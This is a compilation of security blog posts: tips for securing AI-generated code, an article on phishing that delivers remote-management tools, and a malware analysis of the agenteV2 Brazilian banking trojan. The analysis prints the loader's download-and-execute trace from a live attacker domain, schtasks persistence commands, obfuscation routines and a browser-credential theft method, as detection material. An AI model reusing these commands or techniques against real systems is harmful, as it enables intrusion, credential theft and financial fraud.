The entry barriers for app development have plummeted in recent times — with nearly anyone now able to build a professional website, personal news bot, or dashboard simply by giving a chatbot or AI agent a few instructions in natural English. Unfortunately, a massive gap exists between a slick prototype and a reliable, production-ready, secure application. To avoid becoming the subject of another AI fail story, or losing money and sensitive data, follow these straightforward tips. These are intended specifically for non-technical creators and very small teams. Larger enterprises should follow more sophisticated recommendations.

The primary risks of AI-generated code

While vibe coding can deliver a seemingly functional app in just a few hours, it will likely contain dangerous flaws. AI models are trained on code samples from across the internet, which often include suboptimal tutorials, buggy snippets, and outright junk. Sometimes this code simply fails to run, but more often the situation is subtler and more hazardous: the app appears to work, yet under the hood, it might rely on a crude imitation of the required logic or contain critical vulnerabilities. According to a study by the Cloud Security Alliance AI Safety Initiative, the following facts should be considered when using AI for coding:

• At least 45% of AI-generated code contains dangerous vulnerabilities, such as failing to verify the user before granting access to sensitive data.
• A professional developer using AI can write code three to four times faster, but may introduce 10 times as many vulnerabilities.
• Twenty percent of AI-generated code attempts to use external libraries and modules that don’t actually exist.
• Even when an application handles confidential data — such as payments, private messages, or documents — AI-generated code sometimes skips credential verification entirely. This can leave the app’s data open for anyone on the internet to read.
• In other instances, the app might correctly prompt for a username and password but fail to enforce access controls, allowing any registered user to view everyone else’s data.
• Access keys (tokens) for databases and AI services may be embedded directly into the source code, easy to steal, and difficult to rotate after a data breach or cyberattack.
• Project code or critical build outputs are often deployed to servers without proper access restrictions, leaving both the application logic and sensitive access keys vulnerable to theft.
• AI may implement insecure database access patterns, which can allow attackers to bypass the application to steal data or execute arbitrary code on the database server.
• Apps that include API functionality often suffer from insecure API implementations, lacking both user permission checks and rate limiting.

Core principles of securing vibe code

Always verify. Treat AI-generated code as a rough draft. It should always be reviewed and rigorously tested. Ideally, professional developers should handle this; however, if none are available, the vibe-coder should at least test the application themselves, have friends or colleagues poke around the live app, and ask them to review key code snippets. It’s also possible to evaluate code integrity by submitting a separate prompt to the AI: “Review this code for secure development best practices and check for OWASP Top 10 vulnerabilities”.

Protect secrets. Never include passwords, API keys, or any other sensitive data in AI prompts. Instead, instruct the AI to write code that securely stores all secrets in environment variables (special hidden settings).

Prioritize efforts. The main risks emerge when an application is network-accessible to outsiders, processes valuable data, or runs on infrastructure that would be useful to attackers. The components of an app or system that meet these criteria are precisely what’s needed to be protected first. A static website composed of three HTML pages faces significantly lower risk than a loyalty program integrated into an online store.

Make security an explicit requirement. Even a simple, straightforward line in the prompt, like “Follow industry standards and security best practices when generating this code”, improves the output. Providing more specific requirements for critical code snippets makes the results even better.

Don’t trust default settings. Often, the danger in vibe coding lies in the configuration rather than the code itself. For example, an app processing sensitive company data might be deployed on a public vibe-coding platform (Lovable or the like), and remain accessible to the entire internet by default. Even if the code is flawless, making that information public is a critical security failure. Because of this, every component — from hosting and database settings to the deployment pipeline — must be manually reviewed and properly configured. If the purpose of a setting is unclear, consult a chatbot for the optimal values, specifying that its goal is to enhance security, and describing who the app is intended for.

Security is a continuous process. Securing the app should not be treated as a one-off task. Every time an application is updated, hosting providers are changed, or a project undergoes any other major shift, all steps in making it secure should be revisited, and the risks reassessed.

Tips for securing vibe code

It’s natural to want an app built from broad prompts like “Make me a beautiful, user-friendly, fast, reliable, and secure app for [use case].” However, for the results to actually be effective, each of those requirements needs to be fleshed out. Below, we’ve outlined recommendations for building standard components that will make vibe code more secure. It’s important to emphasize that “more secure” doesn’t mean “perfectly secure” — these approaches lower the risk, but that risk remains well above zero.

Demand security from the AI. When assigning a task to a neural network, be explicit: “write secure code, validate data, encrypt passwords”. Each type of task requires its own security prompt. For instance, don’t just ask to “build a login form”. Instead, ask for a “secure login form with credential validation, authentication and authorization (user permissions) controls, brute-force protection, password hashing according to modern standards, transmission strictly over HTTPS, and no hardcoded secrets”. It makes sense to use these secure requirement templates every time. It’s also helpful to keep a short cheat sheet of standard requirements for AI prompts: “validate all external data and user input before processing”, “no secrets in code”, “protect APIs from abuse”, “restrict user permissions”, and “secure default settings”.

Use off-the-shelf solutions. If an app needs a user management system, insist on using a popular, reputable library, such as NextAuth, Auth0, and so on, rather than inventing a new and vulnerable solution. This is the most common cause of data breaches. This applies to more than just login and registration; for other high-risk actions like file uploads and API call processing, it’s better to use established frameworks and libraries with built-in protections rather than building everything from scratch.

Don’t trust the AI blindly; verify open-source components. Neural networks often try to inject non-existent components and libraries into a project or suggest outdated versions. Always search for the suggested names online to ensure they are real, widely used, and secure — and make sure the latest versions are used.

Demand robust encryption. Explicitly state that modern industry standards must be used for both data transmission and storage: TLS 1.3 based on OpenSSL for network traffic; argon2 or bcrypt for hashing credentials; and so on.

Never trust user input. Always instruct the AI to include validation for any data entered by users, whether in forms or search bars. Use terms like “parameterization” and “sanitization” to emphasize that the app needs protection against malicious actors, not just users’ typos.

Set limits on user actions. Require the AI to implement rate limiting for login attempts or general requests. This will protect a project from automated attacks like DoS and brute-force password guessing.

Hide the system’s inner workings. If the site crashes, users should see a simple apology page rather than a detailed error report containing snippets of the code. That kind of information is a goldmine for hackers.

Remember that you’re a developer, and you need to protect development-related digital assets. All related accounts — such as access to GitHub, project hosting, and other resources — are prime targets for attackers. Be sure to enable two-factor authentication (2FA) on all work accounts.

Make backups. Regularly back up a project both locally and to the cloud to protect it against critical AI errors as well as cyberattacks. These backups should include both the application’s source code and its databases.

Set up a sandbox. Test new features and app versions in a secure environment using a clone of an active site or app and a copy of a database. Always run thorough tests before pushing an update live. This allows catching issues without putting users or their data at risk.

Update dependencies and scan them for vulnerabilities. A vibe-coded app will almost certainly rely on third-party libraries and components, known as dependencies. It’s wise to update these regularly by rebuilding an app with the latest versions, even if app’s code itself has not been changed. This process helps patch known security flaws in the used packages.

Check for secrets leaking into the repository. Use secrets scanners like TruffleHog to audit resulting code. Even with instructions, AI might slip up and include an API key or password in the source code. A scanner ensures that files containing keys and passwords don’t end up in Git or get published alongside the project.

Kaspersky official blog – ​Read More

CISOs are under pressure to prove that their security programs can detect threats early, reduce business risk, and support fast, confident response. But that becomes harder when attackers stop relying on obviously malicious tools.

In recent phishing-to-RMM campaigns observed by ANY.RUN analysts, threat actors are using fake Microsoft, Adobe, and OneDrive pages to deliver legitimate remote management tools instead of traditional malware. Once installed, these tools can give attackers remote access to a victim’s device while blending into software categories many enterprises already use or allow.

For security leaders, this creates a difficult visibility problem. The payload may be legitimate. The infrastructure may be trusted. The user action may look like a routine download. Yet the outcome is the same: unauthorized remote access inside the environment.

Key Takeaways 

• Phishing-to-RMM attacks create a dangerous visibility gap for enterprise SOCs: Attackers can deliver legitimate remote management tools through phishing pages that impersonate trusted services like Microsoft, Adobe, and OneDrive.

• The payload may not look malicious on its own: Tools such as ScreenConnect and LogMeIn Rescue can appear as legitimate remote administration software, especially in organizations where RMM usage is already allowed.

• Domain reputation is not enough: These attacks may use legitimate platforms, vendor infrastructure, or compromised websites instead of obvious newly registered domains.

• The real signal is in the full attack chain: SOC teams need to connect the phishing lure, download context, execution behavior, RMM installation, and outbound connections.

• For CISOs, the risk is operational as much as technical: Missed phishing-to-RMM activity can lead to slower detection, longer attacker dwell time, delayed containment, and weaker confidence in approved remote access tools.

• ANY.RUN helps turn gray-zone activity into evidence: With Interactive Sandbox and Threat Intelligence, teams can safely analyze suspicious URLs and files, trace RMM behavior, and investigate related phishing-to-RMM chains.

The Blind Spot: When “Allowed” Tools Become the Attack Path

Most enterprise security programs are built to separate malicious activity from normal operations. Phishing-to-RMM attacks blur that line.

An RMM installer can pass basic checks because it is not malware by design. But the risk is not in the tool alone. It is in the context around it: how it reached the user, whether the download was expected, which endpoint launched it, and what connection followed.

For CISOs, this is where the risk becomes critical. Unauthorized access can hide inside routine-looking activity, giving the business a false sense of control while the attacker is already inside.

The outcome can be serious: 

• Slower detection because the activity does not look like classic malware 
• Longer attacker dwell time inside the environment 
• Higher risk of lateral movement from the compromised endpoint 
• More pressure on SOC teams to investigate ambiguous alerts 
• Delayed containment because the initial access path is harder to prove 
• Weaker confidence in whether approved remote access tools are being used safely 

Which Organizations are Most Exposed 

ANY.RUN data shows that phishing-to-RMM activity is primarily concentrated in the United States, followed by Canada, Europe, and Australia. The most affected industries include Education, Technology, Banking, Government, Manufacturing, and Finance.

These sectors often depend on remote administration for IT support, distributed workforce management, and endpoint maintenance. That reliance creates more room for abuse: when RMM tools are already part of normal operations, unauthorized access can take longer to recognize and contain.

How Legitimate RMM Tools Are Delivered Through Phishing 

Since early April, the ANY.RUN team has observed a rise in phishing-to-RMM attacks, where threat actors use phishing to deliver legitimate remote management tools and gain remote access to victims’ devices.  

For just one of these campaigns, we are seeing more than 50 public analyses in ANY.RUN every week: suricataID:”84002229″

Phishing campaigns that deliver RMM tools are especially dangerous for SOC teams because these tools can appear to be legitimate remote administration software. If an organization already uses or allows RMM solutions, the launch of ScreenConnect may not immediately trigger security policies.

The screenshot below shows a phishing page impersonating Microsoft Store and Adobe Acrobat Reader DC. The user is prompted to download Adobesetup.exe, but behind that name is ScreenConnect; an RMM tool that attackers can use to establish remote access to the system.

View analysis session 

Another example shows the attack disguised as a protected Microsoft OneDrive download. The page at vmail.app.n8n.cloud displays a “Verify to Download” prompt for what appears to be a PDF document. Once the user clicks, they receive ScreenConnect.ClientSetup.exe:

This chain makes SOC triage more difficult: the phishing landing page is hosted on the legitimate n8n.cloud platform, while the RMM agent download and subsequent connection occur through legitimate ScreenConnect infrastructure.

The attack does not rely on obvious newly registered domains, which are often an easy signal for blocking. As a result, detection needs to be based on behavior, download context, and anomalies around RMM execution, not domain reputation alone.

In addition to ScreenConnect, threat actors use other legitimate RMM and remote-access tools in these phishing chains, including Datto RMM, ITarian, LogMeIn Rescue, Action1 RMM, NetSupport, Syncro, MeshAgent, SimpleHelp, RustDesk, and Splashtop.

To retrospectively track similar chains in ANY.RUN Threat Intelligence, teams can use the following query. As part of TI Lookup, every user has access to 20 full queries: 

threatName:”^phishing$” and threatName:”rmm-tool” 

In addition to standard installers, threat actors are also using more sophisticated delivery methods, as shown in this public analysis: 

In this example, the user is shown a phishing page with an Adobe document download lure. Instead of the expected file, the page delivers a VBS script. 

Once executed, the script attempts to elevate privileges through UAC, disable SmartScreen, and weaken Microsoft Defender protections. It then silently downloads the LogMeIn Rescue installer, removes the Mark-of-the-Web, and runs a quiet installation via msiexec, turning the endpoint into a system with unattended RMM access.

It is also worth noting that in campaigns like this, threat actors try to minimize easily blocked, lower-level IoCs from the Pyramid of Pain, such as newly registered domains.

Instead, phishing pages may be hosted on already existing websites. The domain itself appears legitimate, while the suspicious activity is hidden deeper in the URL — in an unusual URI path that may indicate SEO injection or a compromised website.

At the time of analysis, VirusTotal showed that no vendor had flagged this domain as malicious: 

Taken together, these cases reflect a broader shift from malware-first initial access to phishing-first initial access. Threat actors are increasingly gaining access not through an obviously malicious payload, but through social engineering and legitimate remote administration tools.

How SOC Teams Can Close the RMM Visibility Gap 

Phishing-to-RMM attacks cannot be handled like ordinary malware delivery. The payload may be legitimate, the infrastructure may be trusted, and the domain may not have a malicious reputation at the time of analysis.

To detect this activity earlier, SOC teams need visibility into the full attack chain, not just the final file. That means connecting:

• the phishing page that initiated the download 
• the file or script delivered to the user 
• the execution path on the endpoint 
• attempts to weaken security controls 
• RMM installation behavior 
• outbound connections to remote access infrastructure 

This is where ANY.RUN helps teams close the gap. With the Interactive Sandbox, security teams can safely examine suspicious URLs, files, and scripts during triage.

They can observe the phishing lure, delivered payload, execution flow, attempts to weaken security controls, RMM installation, and outbound connections in one controlled environment.

ANY.RUN Threat Intelligence adds the retrospective layer. Teams can search across public analyses, track phishing-to-RMM chains, pivot from one indicator to related activity, and understand whether a single event is part of a wider campaign.

For CISOs, this means more control over a risk that is usually hard to prove. The SOC can validate suspicious remote access activity faster, show how the access path started, and give leadership clearer evidence for containment and follow-up decisions.

Instead of relying on reputation-based signals or waiting for a high-confidence malware alert, security teams can prove when trusted tools are being abused. That gives CISOs stronger confidence in detection coverage, faster response readiness, and better visibility into whether approved remote access software is creating hidden business risk. 

About ANY.RUN 

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps security teams detect, investigate, and respond to threats faster.

ANY.RUN solutions include Interactive Sandbox, Threat Intelligence Lookup, Threat Intelligence Feeds, and integrations for SOC workflows across SIEM, SOAR, EDR, and other security tools. Together, they help teams analyze suspicious files and URLs, uncover attacker behavior, enrich investigations with real-world threat context, and operationalize intelligence across their environment.

Built for security-conscious organizations, ANY.RUN is SOC 2 Type II attested and supports enterprise-ready controls such as SSO, MFA, granular privacy settings, and AES-256-CBC encryption.

Trusted by more than 15,000 organizations and 600,000 security professionals worldwide, ANY.RUN gives SOC teams the visibility they need to move from uncertain alerts to evidence-based decisions.

The post Phishing-to-RMM Attacks: The Remote Access Blind Spot CISOs Can’t Ignore  appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

A new phishing campaign targeting Brazilian users demonstrates how modern financial malware has evolved from simple credential theft into full-scale, operator-driven fraud platforms. Disguised as a judicial summons, this campaign leverages social engineering, multi-stage malware delivery, and real-time remote access capabilities to compromise victims and actively assist attackers in financial theft.  

For organizations, the implications extend beyond individual users. Employees accessing corporate systems, financial platforms, or crypto wallets from infected endpoints can unintentionally expose business-critical assets. The malware’s ability to stream screens, execute commands, and harvest credentials in real time makes it particularly dangerous for finance teams, executives, and organizations operating in or with Brazil. 

This is not just phishing. It’s a live intrusion channel into financial workflows. Technical analysis below.  

Attack Overview 

The malware at the heart of this campaign, agenteV2, functions as a full interactive backdoor. Once installed, it streams the victim’s screen to the attacker in real time, enabling live, operator-assisted financial fraud. A human operator watches the victim’s desktop session as it happens, waiting for a banking portal to open, and then takes direct control. 

The malware targets credentials and sessions at seven major Brazilian financial institutions — Itaú, Banco do Brasil, Caixa Econômica Federal, Bradesco, Santander, Inter, and Stone — as well as five major cryptocurrency wallet extensions. It also probes host systems for the presence of specialized Brazilian anti-fraud software (Diebold Warsaw, GbPlugin), indicating deliberate, well-researched targeting of the Brazilian financial ecosystem. 

Executive Summary 

1. This Is Live Financial Fraud, Not Passive Credential Theft. 

Business perspective: agenteV2 establishes a persistent WebSocket backdoor with live screen streaming and a remote shell. The attacker watches the victim’s screen in real time and acts manually the moment a banking session opens. Financial losses can occur within minutes of infection, before any traditional alert fires. 

Deploy ANY.RUN Interactive Sandbox to detonate suspicious email attachments in a live, controlled environment before they reach employee inboxes. 

2. The Lure Is Convincing Enough to Fool Security-Aware Staff. 

Business perspective: The phishing email impersonates a Brazilian federal court using a case number format indistinguishable from authentic CNJ court references. Even employees trained to spot phishing are likely to treat a realistic judicial summons as a high-priority communication requiring immediate action. 

Use ANY.RUN Threat Intelligence Lookup to check suspicious email sender domains, embedded URLs, and attachment hashes instantly against a continuously updated threat intelligence database. A 10-second lookup is sufficient to surface this campaign’s known indicators. 

3. The Malware Survives Reboots, IT Maintenance, and Password Resets. 

Business perspective: Three separate persistence mechanisms — two Scheduled Tasks at maximum privilege and a Registry Run key — ensure the malware remains operational across reboots, routine IT maintenance, and even password changes.  

ANY.RUN Threat Intelligence Feeds deliver structured IOCs directly into your SIEM and EDR for automated hunting across your entire endpoint fleet. Any host matching these indicators should be treated as actively compromised and isolated immediately. 

4. Blocking the Known C2 IP Is Not Enough. 

Business perspective: The malware reads its command-and-control server address from a public Pastebin page. The attacker can silently rotate to a new IP by editing a single page — without redeploying, recompiling, or redelivering any malware. IP blocklists become stale within hours of a C2 rotation. 

Replace IP-based blocking with behavior-based detection. The agenteV2 TLS client fingerprint (JA3 hash)) is stable across infrastructure rotations and can be deployed as a detection rule in your IDS/NDR/EDR. 

5. Traditional AV Will Not Catch This: Behavioral Analysis Is Required. 

Business perspective: The core stealer DLL is compiled from Python to native machine code with Nuitka — no bytecode is extractable and standard decompilers do not apply. Files are disguised with legitimate names (wifi_driver.exe, msedge04.exe) and the payload executes entirely in memory before touching disk.  

Behavioral sandbox analysis is the only reliable pre-execution detection method for Nuitka-compiled threats. The YARA rule in this report (Win_Stealer_AgenteV2_Nuitka) is deployable via ANY.RUN TI infrastructure for automated variant detection. 

Detailed Technical Analysis 

This attack was fully analyzed in ANY.RUN’s Interactive Sandbox, which provided full visibility into the multi-stage infection chain, process trees, network connections, API traces, and registry modifications in a live, controllable Windows 11 environment. 

View the phishing analysis session 

The threat actor operates a well-structured infrastructure spanning phishing delivery, staged payload distribution, a Pastebin-based dead-drop resolver, and a dedicated C2 server hosted on a bulletproof VPS provider in Germany. 

The final payload, internally named agenteV2, is a Python-based interactive Banking Trojan and Information Stealer whose core logic (agenteV2_historico_detect.dll) is compiled with Nuitka into native machine code.  

It is not a passive fire-and-forget stealer — it establishes a persistent WebSocket backdoor (uws://) enabling live screen streaming (PIL + mss), an interactive remote shell (subprocess.Popen dispatched via CMD:SHELL: parsing), and real-time operator control over the victim session. Persistence is achieved via Registry Run key and Scheduled Tasks (/rl highest), and a Pastebin dead-drop resolver enables rapid C2 rotation without redeployment. 

1. Initial Artifact Analysis 

1.1 Email lure (.eml) 

The campaign is delivered via email impersonating an official judicial summons from the Tribunal de Justiça do Distrito Federal (TJDF), referencing a fabricated civil conciliation hearing (case number 2194839-33.2026.8.07.1876). The case number format matches the authentic Brazilian CNJ numbering standard, increasing credibility. 

1.2 Social Engineering Mechanism 

The PDF attachment requires a password to open a technique to bypass email gateway sandboxes that cannot interact with password-protected documents. Upon ‘failing’ to open, the PDF instructs the victim to download a VBS file via a ‘click here’ link, attributing the error to a missing software component. This two-step friction is deliberate: it filters unengaged recipients and increases commitment of those who proceed. 

2. Infection Chain 

The full process tree and infection chain graph are visible in the sandbox detonation: WScript.exe → cmd.exe → schtasks + wifi_driver.exe execution flow:  

The processes include malware delivery, payload delivery, persistence establishment, and more:

3. Stage 1 VBScript Loader (0124_INTMACAO_.vbs) 

3.1. Runtime Behavior (API Trace) 

The following sequence was reconstructed from the ANY.RUN script API trace, showing the exact execution order of COM object calls: 

Phase 1 reiniciar.exe download and persistence (~13 seconds post-execution): 

IServerXMLHTTPRequest2.Open('GET', 'https://nuevaprodeciencia.club/br77b/arquivos/download/reiniciar.exe', False) 

IServerXMLHTTPRequest2.Send()                      -> HTTP 200 OK 

ADODB.Stream.Type = 1 (binary) 

ADODB.Stream.Write(ResponseBody)                   -> VT_ARRAY 

ADODB.Stream.SaveToFile('C:Program Files (x86)Wi-fireiniciar.exe', 2) 

IWshShell3.Run('cmd.exe /c schtasks /create /f /tn "RunAsAdmin_Executar" ...reiniciar.exe... /sc onlogon /rl highest', 0, False)

Phase 2 wifi_driver.exe download, persistence and initial beacon (~22–29 seconds): 

IServerXMLHTTPRequest2.Open('GET', 'https://nuevaprodeciencia.club/br77b/arquivos/download/msedge04.exe', False) 

IServerXMLHTTPRequest2.Send()                      -> HTTP 200 OK 

ADODB.Stream.SaveToFile('C:Program Files (x86)Wi-fiwifi_driver.exe', 2) 

IWshShell3.Run('"C:Program Files (x86)Wi-fiwifi_driver.exe"', 1, False)  // executed twice 

WScript.Sleep(3000) 

IWshShell3.Run('cmd.exe /c schtasks /create /f /tn "RunAsAdmin_AutoUpdate" ...wifi_driver.exe... /sc onlogon /rl highest', 0, False) 

IWshShell3.Run('https://nuevaprodeciencia.club/br77b/iayjaskyeiagds.php', 1, False)  // initial C2 beacon 

Key observations: 

• wifi_driver.exe is executed twice before Sleep(3000) retry mechanism to ensure process startup; 

• The server-side filename is msedge04.exe; it is saved locally as wifi_driver.exe deliberate renaming at download time; 

• The initial C2 beacon is fired by the VBS loader itself via IWshShell3.Run, before the payload’s own beaconing loop begins. 

3.2. Obfuscation & Payload Decoding Mechanism 

The VBS loader implements a multi-layer obfuscation pipeline that decodes and executes a secondary payload entirely in memory. Despite its apparent complexity, the mechanism is fully deterministic and reversible — all decoding logic, keys, and transformations are self-contained in the script, with no external dependencies or dynamic key generation. 

The two on-disk forms confirm runtime deobfuscation: 

C:UsersadminDownloads124_INTMACAO_.vbs          (16,739 bytes  — obfuscated, as delivered) 

C:UsersadminAppDataLocalTemp124_INTMACAO_.vbs (140,302 bytes — fully decoded runtime copy) 

The ~8.4x expansion factor is explained by the encoding pipeline described below. 

The encoded payload is stored as a large string built via repeated concatenation: 

tEXXKcvxSM = tEXXKcvxSM & "<chunk>" 

This pattern avoids signature-based detection of long static strings, prevents straightforward extraction, and obscures the actual payload size. It is a common technique in commodity VBS loaders. 

Three transformation functions are applied in sequence before the payload is executed: 

Step 1 — Triple Base64 Decoding. The function AqBVqmjYfY wraps the MSXML2.DOMDocument COM object to perform Base64 decoding. It is called three consecutive times, nesting the calls:

b = AqBVqmjYfY(AqBVqmjYfY(AqBVqmjYfY(b)))

Triple-encoding increases entropy and defeats naive single-pass decoders, but provides no cryptographic security — each layer is independently and trivially reversible. 

Step 2 — Hexadecimal Decoding. The function YnrbBGjUXH converts the Base64-decoded output from a hex-encoded byte stream into raw bytes: 

Chr(CInt("&H" & Mid(h, i, 2))) 

This confirms the intermediate payload is stored as a hex string, adding one further layer of visual obfuscation over the Base64 output. 

Step 3 — Custom Byte Transformation (Pseudo-Encryption). The function obmFYHGTeJ is the core obfuscation layer. It applies a Vigenere-like modular subtraction cipher using a hardcoded array of multiple keys: 

keys = Array("xsTqWN3wxwsA", "Bydpez94dTlZ", ...) 

For each byte, the routine iterates through all keys in reverse order and applies: 

ch = (ch - keyByte + 256) Mod 256 

This is similar to a repeated-key XOR/Vigenere cipher. It is not cryptographically secure — the keys are hardcoded in the script, the transformation is deterministic, and the decoding pipeline is fully reproducible offline. The critical weakness is that all key material is embedded in the script itself. 

After the three-stage decoding, the final payload is executed directly in memory without writing any intermediate artifact to disk: 

Execute obmFYHGTeJ(tEXXKcvxSM)

This fileless execution pattern means the next stage never touches the filesystem in decoded form, evading file-based AV scanning. The decoded payload can be recovered by inserting a logging hook at the Execute call or by running the decoding pipeline offline with the extracted keys. 

Overall assessment: the obfuscation chain is consistent with the use of publicly available VBS templates or tutorials. The layered approach demonstrates awareness of basic detection mechanisms but no understanding of cryptographic security. The presence of hardcoded keys and deterministic transformations makes full offline payload recovery straightforward for any analyst with access to the script. 

4. Stage 2 Payload Architecture 

The payload follows a two-component architecture: a lightweight container executable (wifi_driver.exe) and the actual malicious module (agenteV2_historico_detect.dll). These roles must not be confused only the DLL contains malicious logic. 

wifi_driver.exe Container/Bootloader 

wifi_driver.exe is a self-contained onefile bundle (PyInstaller or Nuitka container mode). It contains no malicious logic of its own. Its sole purpose is to: 

• Extract the full Python 3.13 runtime environment to a temporary directory (Temponefile_<PID>_<timestamp>); 

• Extract all required .pyd extensions and native DLLs alongside the runtime; 

• Load and execute agenteV2_historico_detect.dll the actual payload; 

• Clean up the extraction directory on exit.  

wifi_driver.exe is a self-contained onefile bundle (PyInstaller or Nuitka container mode). It contains no malicious logic of its own. Its sole purpose is to:

• Extract the full Python 3.13 runtime environment to a temporary directory (Temponefile_<PID>_<timestamp>);
• Extract all required .pyd extensions and native DLLs alongside the runtime;
• Load and execute agenteV2_historico_detect.dll the actual payload;
• Clean up the extraction directory on exit.

Reverse engineering path for wifi_driver.exe: 

• If PyInstaller: use pyinstxtractor.py to unpack the bundle → locate main.pyc (or file named after the executable) → decompile with pycdc to recover readable Python source; 

• If Nuitka container mode: the bootstrap code is minimal C focus effort on the extracted DLL, not the container; 

• The container itself is not the analytical target it is merely the delivery mechanism for the DLL. 

Extracted runtime components dropped to Temponefile_<PID> by wifi_driver.exe: 

agenteV2_historico_detect.dll Core Stealer (Nuitka) 

This DLL is the analytical target it contains all malicious logic. The original Python source was compiled with Nuitka (Python → C++ → native machine code), producing a monolithic 27 MB PE DLL with no extractable bytecode. pyinstxtractor and uncompyle6 do not apply here.

Despite robust Nuitka compilation, the threat actor failed to strip debug symbols, variable names, and cleartext strings from the binary exposing the full execution flow via static .rdata analysis. This is a recurring pattern in Brazilian malware: technically capable packaging decisions paired with poor operational security discipline. 
 
Core Capabilities (Reconstructed from Static + Dynamic Analysis):  

The malware does not hardcode the C2 address. It queries a Pastebin URL to dynamically retrieve the active C2 IP and port, enabling infrastructure rotation without redeployment: 

Dead-Drop URL:  https://pastebin.com/raw/0RmxqY57 
Resolved C2:    38.242.246.176:8443 

4.1. Persistent WebSocket Backdoor Interactive Agent 

Unlike typical stealers that perform a single HTTP POST exfiltration and terminate, agenteV2 establishes a persistent WebSocket connection (uws:// scheme) to the C2. This architecture enables real-time, bidirectional communication making it function as a full interactive backdoor rather than a passive stealer: 

• Continuous screen capture stream using PIL (Pillow) and mss libraries frames encoded as JPEG and streamed live to the operator; 

• Interactive remote shell via CMD:SHELL: command prefix commands dispatched through subprocess.Popen, output returned over the WebSocket; 

• Real-time telemetry: live operator visibility into the victim’s desktop session. 

This design is optimized for manual, real-time financial fraud. The operator can watch the victim’s screen, interact with open banking sessions, and issue commands on the fly. 

4.2. Evasive Browser Credential Harvesting 

The stealer targets all Chromium-based browsers (Chrome, Edge, Brave, Opera) across all user profiles. To bypass the SQLite file lock maintained by running browsers, it uses shutil.copyfile to duplicate the target database files into %TEMP% before executing SQL SELECT queries:  

Target files: Login Data, Cookies, History  

Method: shutil.copyfile(src, %TEMP%<random>) → sqlite3.connect(copy) → SELECT * FROM logins 

4.3. Security Controls & Anti-Fraud Enumeration 

The malware proactively profiles the host for regional anti-fraud and endpoint protection solutions before proceeding with credential theft a strong indicator of deliberate LATAM targeting: 

• Diebold Warsaw (Warsaw Security Module) disk path queries for this widely-deployed Brazilian banking security plugin; 

• GbPlugin disk path queries for this browser security plugin used by major Brazilian banks. 

Detection of these solutions likely influences the malware’s behavior (evasion, delayed execution, or alternate attack paths). 

4.4. Analyst Assessment 

agenteV2 is not a passive, fire-and-forget stealer. It is a purpose-built interactive agent designed for real-time manual financial fraud in the Brazilian market. The WebSocket architecture, live screen streaming, and remote shell capability are consistent with an operator-assisted attack flow: the threat actor watches the victim’s screen in real time, waits for a banking session to open, and interacts directly.  

The Nuitka compilation demonstrates meaningful anti-analysis effort; however, the failure to strip debug strings, variable names, and cleartext URLs reveals the full implementation to any analyst with access to the binary a significant OpSec failure that partially undermines the obfuscation investment. 

4.5. Persistence Mechanisms 

The payload establishes a third persistence layer independently of the VBS loader: 

Registry: HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun 

Value: MonitorSystem 

Data: C:UsersadminAppDataLocalTempONEFIL~1agenteV2_historico_detect.py 

Note: the Registry Run value points to a .py file in %TEMP% this assumes either Python is installed and registered as a handler for .py files on the victim machine, or represents an implementation error by the threat actor (a common characteristic of amateur-but-functional malware). The name ‘MonitorSystem’ is social engineering for any victim who opens regedit. 

5. Stage 3 C2 Communication 

5.1. Dead-Drop Resolver via Pastebin 

agenteV2 does not hardcode the C2 IP. Instead, it implements a Pastebin-based dead-drop resolver allowing the threat actor to rotate C2 infrastructure without recompiling or redelivering the malware: 

The resolver (documented in DLL strings as ‘Busca IP e Porta Base do Pastebin. Retorna (ip, port) ou None’) parses the Pastebin content to extract the IP and port as a tuple, with explicit error handling for fetch failures and malformed content. 

5.2. Beacon Pattern 

5.3. TLS Fingerprints 

The JA3 hash (a48c0d5f95b1ef98f560f324fd275da1) can be used as a network detection rule it will match agenteV2’s TLS ClientHello regardless of C2 IP rotation. 

6. Threat Actor Infrastructure 

6.1. Infrastructure Map 

6.2. C2 Server Detail (Shodan) 

The Hestia Control Panel on port 8083 indicates the threat actor self-manages this server rather than using a hosting reseller. The presence of active SMTP ports alongside the C2 port strongly suggests this VPS serves as an all-in-one campaign platform: phishing email dispatch, payload hosting management, and C2 handling. 

Threat Actor Assessment 

Campaign Characteristics 

• Exclusively targeting Brazilian users Portuguese lure, CNJ court number format, Brazilian bank/fintech targeting, and enumeration of LATAM-specific anti-fraud tools (Diebold Warsaw, GbPlugin); 

• Judicial summons lure is a well-established social engineering technique in Brazil exploits fear of legal consequences to reduce victim scrutiny; 

• Per-victim unique tracking ID (?id=3df947b3) demonstrates the actor actively monitors individual infection progress; 

• WebSocket persistent backdoor with live screen streaming points to operator-assisted, manual fraud the threat actor watches victims’ screens in real time and waits for banking sessions to open; 

• Cloudflare Turnstile CAPTCHA on payload server deliberate anti-sandbox and anti-researcher measure; 

• Multi-step redirect chain before payload delivery adds anti-scraping friction; 

• ‘agenteV2’ naming implies active development a prior version (v1) likely exists or circulated previously; 

• Nuitka compilation of the core DLL represents a meaningful step above typical Brazilian stealer tradecraft; however, the failure to strip debug strings, variable names, and cleartext URLs is a significant OpSec failure that partially negates the obfuscation investment. 

Infrastructure Assessment 

• Two-tier delivery infrastructure (69[.]49.241[.]120 for phishing/payload, 38[.]242.246[.]176 for C2) separation reduces single-point takedown impact; 

• Pastebin dead-drop resolver is the primary C2 resilience mechanism actor can rotate C2 IPs by editing a single Pastebin page without touching deployed malware; 

• Active SMTP ports on C2 VPS strongly suggest self-hosted phishing email dispatch from the same server; 

• Hestia Control Panel indicates actor self-manages the VPS not a reseller customer; 

• Contabo GmbH (AS51167) is a known bulletproof-tolerant provider frequently abused by threat actors for affordable pricing and slow abuse response; 

• Implementation inconsistency (Registry Run value pointing to .py file) suggests the actor has strong Python development skills but limited operational security maturity.  

Detection & Response Recommendations 

1. Immediate Blocking 

• Block domains odaracani[.]online and nuevaprodeciencia[.]club at DNS/proxy/firewall; 

• Block IPs 69[.]49.241[.]120 and 38[.]242.246[.]176 at perimeter; 

• Add JA3 hash a48c0d5f95b1ef98f560f324fd275da1 as a network detection rule (IDS/NDR/EDR); 

• Block or alert on access to pastebin[.]com/raw/0RmxqY57 and request takedown of the page; 

• Deploy Suricata SIDs listed in section 6.6. 

2. SIEM Detection Rules 

• Alert: WScript.exe spawning cmd.exe with ‘schtasks’ + ‘/rl highest’ in command line; 

• Alert: Any process writing PE files to C:Program Files (x86)Wi-fi; 

